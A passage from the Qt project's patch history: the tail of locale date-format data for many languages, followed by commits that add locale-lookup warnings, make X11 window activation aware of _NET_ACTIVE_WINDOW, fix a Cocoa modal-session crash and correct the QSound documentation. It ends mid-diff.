- ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;B;T;S;H;M; - - - Nynorsk - Norway - 44 - 160 - 59 - 37 - 48 - 8722 - 43 - 101 - formiddag - ettermiddag - EEEE d. MMMM yyyy - dd.MM.yy - 'kl'. HH.mm.ss v - HH.mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - januar;februar;mars;april;mai;juni;juli;august;september;oktober;november;desember; - jan;feb;mar;apr;mai;jun;jul;aug;sep;okt;nov;des; - ;;;;;;;;;;;; - søndag;måndag;tysdag;onsdag;torsdag;fredag;laurdag; - sø.;må;ty;on;to;fr;la; - ;;;;;;; - ;;;;;;; - ;må.;;;;;la.; - S;M;T;O;T;F;L; - - - Bosnian - BosniaAndHerzegowina - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Januar;Februar;Mart;April;Maj;Juni;Juli;Avgust;Septembar;Oktobar;Novembar;Decembar; - Jan;Feb;Mar;Apr;Maj;Jun;Jul;Avg;Sep;Okt;Nov;Dec; - ;;;;;;;;;;;; - Nedjelja;Ponedjeljak;Utorak;Srijeda;Četvrtak;Petak;Subota; - Ned;Pon;Uto;Sri;Čet;Pet;Sub; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Divehi - Maldives - 46 - 44 - 1548 - 37 - 1632 - 45 - 43 - 101 - - - EEEE d MMMM yyyy - d-M-yy - hh:mm:ss a v - hh:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7; - 1;2;3;4;5;6;7; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Manx - UnitedKingdom - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE dd MMMM yyyy - dd/MM/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Jerrey-geuree;Toshiaght-arree;Mayrnt;Averil;Boaldyn;Mean-souree;Jerrey-souree;Luanistyn;Mean-fouyir;Jerrey-fouyir;Mee Houney;Mee ny Nollick; - J-guer;T-arree;Mayrnt;Avrril;Boaldyn;M-souree;J-souree;Luanistyn;M-fouyir;J-fouyir;M.Houney;M.Nollick; - ;;;;;;;;;;;; - Jedoonee;Jelhein;Jemayrt;Jercean;Jerdein;Jeheiney;Jesarn; - Jed;Jel;Jem;Jerc;Jerd;Jeh;Jes; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Cornish - UnitedKingdom - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d MMMM yyyy - dd/MM/yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Mys Genver;Mys Whevrel;Mys Merth;Mys Ebrel;Mys Me;Mys Efan;Mys Gortheren;Mye Est;Mys Gwyngala;Mys Hedra;Mys Du;Mys Kevardhu; - Gen;Whe;Mer;Ebr;Me;Efn;Gor;Est;Gwn;Hed;Du;Kev; - ;;;;;;;;;;;; - De Sul;De Lun;De Merth;De Merher;De Yow;De Gwener;De Sadorn; - Sul;Lun;Mth;Mhr;Yow;Gwe;Sad; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Akan - Ghana - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Sanda-Ɔpɛpɔn;Kwakwar-Ɔgyefuo;Ebɔw-Ɔbenem;Ebɔbira-Oforisuo;Esusow Aketseaba-Kɔtɔnimba;Obirade-Ayɛwohomumu;Ayɛwoho-Kitawonsa;Difuu-Ɔsandaa;Fankwa-Ɛbɔ;Ɔbɛsɛ-Ahinime;Ɔberɛfɛw-Obubuo;Mumu-Ɔpɛnimba; - S-Ɔ;K-Ɔ;E-Ɔ;E-O;E-K;O-A;A-K;D-Ɔ;F-Ɛ;Ɔ-A;Ɔ-O;M-Ɔ; - ;;;;;;;;;;;; - Kwesida;Dwowda;Benada;Wukuda;Yawda;Fida;Memeneda; - Kwe;Dwo;Ben;Wuk;Yaw;Fia;Mem; - ;;;;;;; - ;;;;;;; - ;;;;;;; - K;D;B;W;Y;F;M; - - - Konkani - India - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - म.पू. - म.नं. - EEEE d MMMM yyyy - d-M-yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - जानेवारी;फेब्रुवारी;मार्च;एप्रिल;मे;जून;जुलै;ओगस्ट;सेप्टेंबर;ओक्टोबर;नोव्हेंबर;डिसेंबर; - जानेवारी;फेबृवारी;मार्च;एप्रिल;मे;जून;जुलै;ओगस्ट;सेप्टेंबर;ओक्टोबर;नोव्हेंबर;डिसेंबर; - ;;;;;;;;;;;; - आदित्यवार;सोमवार;मंगळार;बुधवार;गुरुवार;शुक्रवार;शनिवार; - रवि;सोम;मंगळ;बुध;गुरु;शुक्र;शनि; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Ga - Ghana - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Aharabata;Oflo;Ochokrikri;Abeibee;Agbeinaa;Otukwadan;Maawe;Manyawale;Gbo;Anton;Alemle;Afuabee; - Aha;Ofl;Och;Abe;Agb;Otu;Maa;Man;Gbo;Ant;Ale;Afu; - ;;;;;;;;;;;; - Hogbaa;Dzu;Dzufo;Sho;Soo;Sohaa;Ho; - Ho;Dzu;Dzf;Sho;Soo;Soh;Ho; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Igbo - Nigeria - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Jenụwarị;Febrụwarị;Maachị;Eprel;Mee;Juun;Julaị;Ọgọọst;Septemba;Ọktoba;Novemba;Disemba; - Jen;Feb;Maa;Epr;Mee;Juu;Jul;Ọgọ;Sep;Ọkt;Nov;Dis; - ;;;;;;;;;;;; - Mbọsị Ụka;Mọnde;Tiuzdee;Wenezdee;Tọọzdee;Fraịdee;Satọdee; - Ụka;Mọn;Tiu;Wen;Tọọ;Fraị;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Kamba - Kenya - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Mwei wa mbee;Mwei wa keli;Mwei wa katatu;Mwei wa kanne;Mwei wa katano;Mwei wa thanthatu;Mwei wa muonza;Mwei wa nyanya;Mwei wa kenda;Mwei wa ikumi;Mwei wa ikumi na imwe;Mwei wa ikumi na ili; - Mwei wa mbee;Mwei wa keli;Mwei wa katatu;Mwei wa kanne;Mwei wa katano;Mwei wa thanthatu;Mwei wa muonza;Mwei wa nyanya;Mwei wa kenda;Mwei wa ikumi;Mwei wa ikumi na imwe;Mwei wa ikumi na ili; - ;;;;;;;;;;;; - Jumapili;Jumatatu;Jumanne;Jumatano;Alamisi;Ijumaa;Jumamosi; - Jpl;Jtt;Jnn;Jtn;Alh;Ijm;Jms; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Syriac - SyrianArabRepublic - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - dd MMMM, yyyy - dd/MM/yyyy - h:mm:ss a v - h:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - ܏ܟܢ ܏ܒ;ܫܒܛ;ܐܕܪ;ܢܝܣܢ;ܐܝܪ;ܚܙܝܪܢ;ܬܡܘܙ;ܐܒ;ܐܝܠܘܠ;܏ܬܫ ܏ܐ;܏ܬܫ ܏ܒ;܏ܟܢ ܏ܐ; - ܏ܟܢ ܏ܒ;ܫܒܛ;ܐܕܪ;ܢܝܣܢ;ܐܝܪ;ܚܙܝܪܢ;ܬܡܘܙ;ܐܒ;ܐܝܠܘܠ;܏ܬܫ ܏ܐ;܏ܬܫ ܏ܒ;܏ܟܢ ܏ܐ; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7; - 1;2;3;4;5;6;7; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Blin - Eritrea - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE፡ dd MMMM ግርጋ yyyy G - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ል;ካ;ክ;ፋ;ክ;ም;ኰ;ማ;ያ;መ;ም;ተ; - ልደትሪ;ካብኽብቲ;ክብላ;ፋጅኺሪ;ክቢቅሪ;ምኪኤል ትጟኒሪ;ኰርኩ;ማርያም ትሪ;ያኸኒ መሳቅለሪ;መተሉ;ምኪኤል መሽወሪ;ተሕሳስሪ; - ልደት;ካብኽ;ክብላ;ፋጅኺ;ክቢቅ;ም/ት;ኰር;ማርያ;ያኸኒ;መተሉ;ም/ም;ተሕሳ; - ;;;;;;;;;;;; - ሰንበር ቅዳዅ;ሰኑ;ሰሊጝ;ለጓ ወሪ ለብዋ;ኣምድ;ኣርብ;ሰንበር ሽጓዅ; - ሰ/ቅ;ሰኑ;ሰሊጝ;ለጓ;ኣምድ;ኣርብ;ሰ/ሽ; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ሰ;ሰ;ሰ;ለ;ኣ;ኣ;ሰ; - - - Geez - Eritrea - 46 - 4808 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE፥ dd MMMM መዓልት yyyy G - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ጠ;ከ;መ;አ;ግ;ሠ;ሐ;ነ;ከ;ጠ;ኀ;ኀ; - ጠሐረ;ከተተ;መገበ;አኀዘ;ግንባት;ሠንየ;ሐመለ;ነሐሰ;ከረመ;ጠቀመ;ኀደረ;ኀሠሠ; - ጠሐረ;ከተተ;መገበ;አኀዘ;ግንባ;ሠንየ;ሐመለ;ነሐሰ;ከረመ;ጠቀመ;ኀደረ;ኀሠሠ; - ;;;;;;;;;;;; - እኁድ;ሰኑይ;ሠሉስ;ራብዕ;ሐሙስ;ዓርበ;ቀዳሚት; - እኁድ;ሰኑይ;ሠሉስ;ራብዕ;ሐሙስ;ዓርበ;ቀዳሚ; - ;;;;;;; - ;;;;;;; - ;;;;;;; - እ;ሰ;ሠ;ራ;ሐ;ዓ;ቀ; - - - Geez - Ethiopia - 46 - 4808 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE፥ dd MMMM መዓልት yyyy G - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ጠ;ከ;መ;አ;ግ;ሠ;ሐ;ነ;ከ;ጠ;ኀ;ኀ; - ጠሐረ;ከተተ;መገበ;አኀዘ;ግንባት;ሠንየ;ሐመለ;ነሐሰ;ከረመ;ጠቀመ;ኀደረ;ኀሠሠ; - ጠሐረ;ከተተ;መገበ;አኀዘ;ግንባ;ሠንየ;ሐመለ;ነሐሰ;ከረመ;ጠቀመ;ኀደረ;ኀሠሠ; - ;;;;;;;;;;;; - እኁድ;ሰኑይ;ሠሉስ;ራብዕ;ሐሙስ;ዓርበ;ቀዳሚት; - እኁድ;ሰኑይ;ሠሉስ;ራብዕ;ሐሙስ;ዓርበ;ቀዳሚ; - ;;;;;;; - ;;;;;;; - ;;;;;;; - እ;ሰ;ሠ;ራ;ሐ;ዓ;ቀ; - - - Koro - IvoryCoast - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Fai Weyene;Fai Fani;Fai Tataka;Fai Nangra;Fai Tuyo;Fai Tsoyi;Fai Tafaka;Fai Warachi;Fai Kunobok;Fai Bansok;Fai Kom;Fai Sauk; - Wey;Fan;Tat;Nan;Tuy;Tso;Taf;War;Kun;Ban;Kom;Sau; - ;;;;;;;;;;;; - Lahadi;Je-Kubacha;Je-Gbai;Tansati;Je-Yei;Je-Koye;Sati; - Lah;Kub;Gba;Tan;Yei;Koy;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Sidamo - Ethiopia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, MMMM dd, yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sambata;Sanyo;Maakisanyo;Roowe;Hamuse;Arbe;Qidaame; - Sam;San;Mak;Row;Ham;Arb;Qid; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;S;M;R;H;A;Q; - - - Atsam - Nigeria - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Pen Dyon;Pen Ba'a;Pen Atat;Pen Anas;Pen Atyon;Pen Achirim;Pen Atariba;Pen Awurr;Pen Shadon;Pen Shakur;Pen Kur Naba;Pen Kur Natat; - Dyon;Baa;Atat;Anas;Atyo;Achi;Atar;Awur;Shad;Shak;Naba;Nata; - ;;;;;;;;;;;; - Wai Yoka Bawai;Wai Tunga;Toki Gitung;Tsam Kasuwa;Wai Na Nas;Wai Na Tiyon;Wai Na Chirim; - Yok;Tung;T. Tung;Tsan;Nas;Nat;Chir; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Tigre - Eritrea - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE፡ dd MMMM ዮም yyyy G - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ጃ;ፌ;ማ;ኤ;ሜ;ጁ;ጁ;ኦ;ሴ;ኦ;ኖ;ዲ; - ጃንዩወሪ;ፌብሩወሪ;ማርች;ኤፕረል;ሜይ;ጁን;ጁላይ;ኦገስት;ሴፕቴምበር;ኦክተውበር;ኖቬምበር;ዲሴምበር; - ጃንዩ;ፌብሩ;ማርች;ኤፕረ;ሜይ;ጁን;ጁላይ;ኦገስ;ሴፕቴ;ኦክተ;ኖቬም;ዲሴም; - ;;;;;;;;;;;; - ሰንበት ዓባይ;ሰኖ;ታላሸኖ;ኣረርባዓ;ከሚሽ;ጅምዓት;ሰንበት ንኢሽ; - ሰ/ዓ;ሰኖ;ታላሸ;ኣረር;ከሚሽ;ጅምዓ;ሰ/ን; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ሰ;ሰ;ታ;ኣ;ከ;ጅ;ሰ; - - - Jju - Nigeria - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Hywan A̱yrnig;Hywan A̱hwa;Hywan A̱tat;Hywan A̱naai;Hywan A̱pfwon;Hywan A̱kitat;Hywan A̱tyirin;Hywan A̱ninai;Hywan A̱kumviriyin;Hywan Swak;Hywan Swak B'a̱yrnig;Hywan Swak B'a̱hwa; - A̱yr;A̱hw;A̱ta;A̱na;A̱pf;A̱ki;A̱ty;A̱ni;A̱ku;Swa;Sby;Sbh; - ;;;;;;;;;;;; - Ladi;Lintani;Talata;Larba;Lamit;Juma;Asabar; - Lad;Lin;Tal;Lar;Lam;Jum;Asa; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Friulian - Italy - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE d 'di' MMMM 'dal' yyyy - d/MM/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - Z;F;M;A;M;J;L;A;S;O;N;D; - Zenâr;Fevrâr;Març;Avrîl;Mai;Jugn;Lui;Avost;Setembar;Otubar;Novembar;Dicembar; - Zen;Fev;Mar;Avr;Mai;Jug;Lui;Avo;Set;Otu;Nov;Dic; - ;;;;;;;;;;;; - domenie;lunis;martars;miercus;joibe;vinars;sabide; - dom;lun;mar;mie;joi;vin;sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Venda - SouthAfrica - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Phando;Luhuhi;Ṱhafamuhwe;Lambamai;Shundunthule;Fulwi;Fulwana;Ṱhangule;Khubvumedzi;Tshimedzi;Ḽara;Nyendavhusiku; - Pha;Luh;Ṱha;Lam;Shu;Lwi;Lwa;Ṱha;Khu;Tsh;Ḽar;Nye; - ;;;;;;;;;;;; - Swondaha;Musumbuluwo;Ḽavhuvhili;Ḽavhuraru;Ḽavhuṋa;Ḽavhuṱanu;Mugivhela; - Swo;Mus;Vhi;Rar;Ṋa;Ṱan;Mug; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Ewe - Ghana - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - D;D;T;A;D;M;S;D;A;K;A;D; - Dzove;Dzodze;Tedoxe;Afɔfiɛ;Dama;Masa;Siamlɔm;Deasiamime;Anyɔnyɔ;Kele;Adeɛmekpɔxe;Dzome; - Dzv;Dzd;Ted;Afɔ;Dam;Mas;Sia;Dea;Any;Kel;Ade;Dzm; - ;;;;;;;;;;;; - Kɔsiɖa;Dzoɖa;Braɖa;Kuɖa;Yawoɖa;Fiɖa;Memleɖa; - Kɔs Kwe;Dzo;Bra;Kuɖ;Yaw;Fiɖ;Mem; - ;;;;;;; - ;;;;;;; - ;;;;;;; - K;D;B;K;Y;F;M; - - - Ewe - Togo - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - D;D;T;A;D;M;S;D;A;K;A;D; - Dzove;Dzodze;Tedoxe;Afɔfiɛ;Dama;Masa;Siamlɔm;Deasiamime;Anyɔnyɔ;Kele;Adeɛmekpɔxe;Dzome; - Dzv;Dzd;Ted;Afɔ;Dam;Mas;Sia;Dea;Any;Kel;Ade;Dzm; - ;;;;;;;;;;;; - Kɔsiɖa;Dzoɖa;Braɖa;Kuɖa;Yawoɖa;Fiɖa;Memleɖa; - Kɔs Kwe;Dzo;Bra;Kuɖ;Yaw;Fiɖ;Mem; - ;;;;;;; - ;;;;;;; - ;;;;;;; - K;D;B;K;Y;F;M; - - - Hawaiian - UnitedStates - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, d MMMM yyyy - d/M/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Ianuali;Pepeluali;Malaki;ʻApelila;Mei;Iune;Iulai;ʻAukake;Kepakemapa;ʻOkakopa;Nowemapa;Kekemapa; - Ian.;Pep.;Mal.;ʻAp.;Mei;Iun.;Iul.;ʻAu.;Kep.;ʻOk.;Now.;Kek.; - ;;;;;;;;;;;; - Lāpule;Poʻakahi;Poʻalua;Poʻakolu;Poʻahā;Poʻalima;Poʻaono; - LP;P1;P2;P3;P4;P5;P6; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Tyap - Nigeria - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Zwat Juwung;Zwat Swiyang;Zwat Tsat;Zwat Nyai;Zwat Tswon;Zwat Ataah;Zwat Anatat;Zwat Arinai;Zwat Akubunyung;Zwat Swag;Zwat Mangjuwang;Zwat Swag-Ma-Suyang; - Juw;Swi;Tsa;Nya;Tsw;Ata;Ana;Ari;Aku;Swa;Man;Mas; - ;;;;;;;;;;;; - Ladi;Tanii;Talata;Larba;Lamit;Juma;Asabat; - Lad;Tan;Tal;Lar;Lam;Jum;Asa; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Chewa - Malawi - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Januwale;Febuluwale;Malichi;Epulo;Mei;Juni;Julai;Ogasiti;Seputemba;Okutoba;Novemba;Disemba; - Jan;Feb;Mal;Epu;Mei;Jun;Jul;Oga;Sep;Oku;Nov;Dis; - ;;;;;;;;;;;; - Lamulungu;Lolemba;Lachiwiri;Lachitatu;Lachinayi;Lachisanu;Loweruka; - Mul;Lem;Wir;Tat;Nai;San;Wer; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - diff --git a/util/local_database/qlocalexml2cpp.py b/util/local_database/qlocalexml2cpp.py index 3c03ba6..da2da32 100755 --- a/util/local_database/qlocalexml2cpp.py +++ b/util/local_database/qlocalexml2cpp.py @@ -128,13 +128,13 @@ def loadDefaultMap(doc): def fixedCountryName(name, dupes): if name in dupes: - return name + "Country" - return name + return name.replace(" ", "") + "Country" + return name.replace(" ", "") def fixedLanguageName(name, dupes): if name in dupes: - return name + "Language" - return name + return name.replace(" ", "") + "Language" + return name.replace(" ", "") def findDupes(country_map, language_map): country_set = set([ v[0] for a, v in country_map.iteritems() ]) @@ -227,7 +227,11 @@ def loadLocaleMap(doc, language_map, country_map): while locale_elt: locale = Locale(locale_elt) language_id = languageNameToId(locale.language, language_map) + if language_id == -1: + sys.stderr.write("Cannot find a language id for %s\n" % locale.language) country_id = countryNameToId(locale.country, country_map) + if country_id == -1: + sys.stderr.write("Cannot find a country id for %s\n" % locale.country) result[(language_id, country_id)] = locale locale_elt = nextSiblingElt(locale_elt, "locale") -- cgit v0.12 From 6390248b11b3596d8c946c232e9b0d832dc42941 Mon Sep 17 00:00:00 2001 From: Robert Griebl Date: Mon, 22 Mar 2010 14:45:07 +0100 Subject: Make QWidget::activateWindow() NET window manager aware. Use the _NET_ACTIVE_WINDOW atom if the current window manager supports it - otherwise fall back to XSetInputFocus() Reviewed-by: bhughes --- src/gui/kernel/qapplication_x11.cpp | 2 ++ src/gui/kernel/qt_x11_p.h | 2 ++ src/gui/kernel/qwidget_x11.cpp | 22 +++++++++++++++++++++- 3 files changed, 25 insertions(+), 1 deletion(-) diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp index 985f825..e276ed2 100644 --- a/src/gui/kernel/qapplication_x11.cpp +++ b/src/gui/kernel/qapplication_x11.cpp @@ -275,6 +275,8 @@ static const char * x11_atomnames = { "_NET_SYSTEM_TRAY_VISUAL\0" + "_NET_ACTIVE_WINDOW\0" + // Property formats "COMPOUND_TEXT\0" "TEXT\0" diff --git a/src/gui/kernel/qt_x11_p.h b/src/gui/kernel/qt_x11_p.h index e1b2625..7383382 100644 --- a/src/gui/kernel/qt_x11_p.h +++ b/src/gui/kernel/qt_x11_p.h @@ -632,6 +632,8 @@ struct QX11Data _NET_SYSTEM_TRAY_VISUAL, + _NET_ACTIVE_WINDOW, + // Property formats COMPOUND_TEXT, TEXT, diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index 47f91f8..54dd300 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -1641,7 +1641,27 @@ void QWidget::activateWindow() if (X11->userTime == 0) X11->userTime = X11->time; qt_net_update_user_time(tlw, X11->userTime); - XSetInputFocus(X11->display, tlw->internalWinId(), XRevertToParent, X11->time); + + if (X11->isSupportedByWM(ATOM(_NET_ACTIVE_WINDOW))) { + XEvent e; + e.xclient.type = ClientMessage; + e.xclient.message_type = ATOM(_NET_ACTIVE_WINDOW); + e.xclient.display = X11->display; + e.xclient.window = tlw->internalWinId(); + e.xclient.format = 32; + e.xclient.data.l[0] = 1; // 1 == application + e.xclient.data.l[1] = X11->userTime; + if (QWidget *aw = QApplication::activeWindow()) + e.xclient.data.l[2] = aw->internalWinId(); + else + e.xclient.data.l[2] = XNone; + e.xclient.data.l[3] = 0; + e.xclient.data.l[4] = 0; + XSendEvent(X11->display, RootWindow(X11->display, tlw->x11Info().screen()), + false, SubstructureNotifyMask | SubstructureRedirectMask, &e); + } else { + XSetInputFocus(X11->display, tlw->internalWinId(), XRevertToParent, X11->time); + } } } -- cgit v0.12 From 35ca28a576e7d71b789211bcad00fc4f907c6e91 Mon Sep 17 00:00:00 2001 From: Richard Moe Gustavsen Date: Mon, 22 Mar 2010 14:40:38 +0100 Subject: Cocoa: fix eventdispatcher crash, found by macgui autotest In some cases, we end up deleting a widget before we get to end the modal session that might be attached to it. And that will cause a crash. This patch retains/releases the underlying NSWindow, so we always have a valid reference as long as the modal session is alive. Reviewed-by: msorvig --- src/gui/kernel/qeventdispatcher_mac.mm | 8 ++++++-- src/gui/kernel/qeventdispatcher_mac_p.h | 1 + 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/src/gui/kernel/qeventdispatcher_mac.mm b/src/gui/kernel/qeventdispatcher_mac.mm index afea3ec..62e1e81 100644 --- a/src/gui/kernel/qeventdispatcher_mac.mm +++ b/src/gui/kernel/qeventdispatcher_mac.mm @@ -829,6 +829,8 @@ NSModalSession QEventDispatcherMacPrivate::currentModalSession() ensureNSAppInitialized(); QBoolBlocker block1(blockSendPostedEvents, true); + info.nswindow = window; + [(NSWindow*) info.nswindow retain]; info.session = [NSApp beginModalSessionForWindow:window]; } currentModalSessionCached = info.session; @@ -903,8 +905,10 @@ void QEventDispatcherMacPrivate::cleanupModalSessions() } cocoaModalSessionStack.remove(i); currentModalSessionCached = 0; - if (info.session) + if (info.session) { [NSApp endModalSession:info.session]; + [(NSWindow *)info.nswindow release]; + } } updateChildrenWorksWhenModal(); @@ -920,7 +924,7 @@ void QEventDispatcherMacPrivate::beginModalSession(QWidget *widget) // currentModalSession). A QCocoaModalSessionInfo is considered pending to be stopped if // the widget pointer is zero, and the session pointer is non-zero (it will be fully // stopped in cleanupModalSessions()). - QCocoaModalSessionInfo info = {widget, 0}; + QCocoaModalSessionInfo info = {widget, 0, 0}; cocoaModalSessionStack.push(info); updateChildrenWorksWhenModal(); currentModalSessionCached = 0; diff --git a/src/gui/kernel/qeventdispatcher_mac_p.h b/src/gui/kernel/qeventdispatcher_mac_p.h index e932532..8ac7c65 100644 --- a/src/gui/kernel/qeventdispatcher_mac_p.h +++ b/src/gui/kernel/qeventdispatcher_mac_p.h @@ -100,6 +100,7 @@ typedef struct _NSModalSession *NSModalSession; typedef struct _QCocoaModalSessionInfo { QPointer widget; NSModalSession session; + void *nswindow; } QCocoaModalSessionInfo; #endif -- cgit v0.12 From 97701a9e002593b0cc17afc6ce32925464f8b2fc Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Mon, 22 Mar 2010 16:17:18 +0200 Subject: Fixed table formatting in QSound documentation Added the missing \row tag Reviewed-by: TrustMe --- src/gui/kernel/qsound.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/gui/kernel/qsound.cpp b/src/gui/kernel/qsound.cpp index 165e6ce..9d8ffa5 100644 --- a/src/gui/kernel/qsound.cpp +++ b/src/gui/kernel/qsound.cpp @@ -147,12 +147,13 @@ public: supports WAVE and AU files. \row \o Mac OS X - \o NSSound is used. All formats that NSSound supports, including QuickTime formats, + \o NSSound is used. All formats that 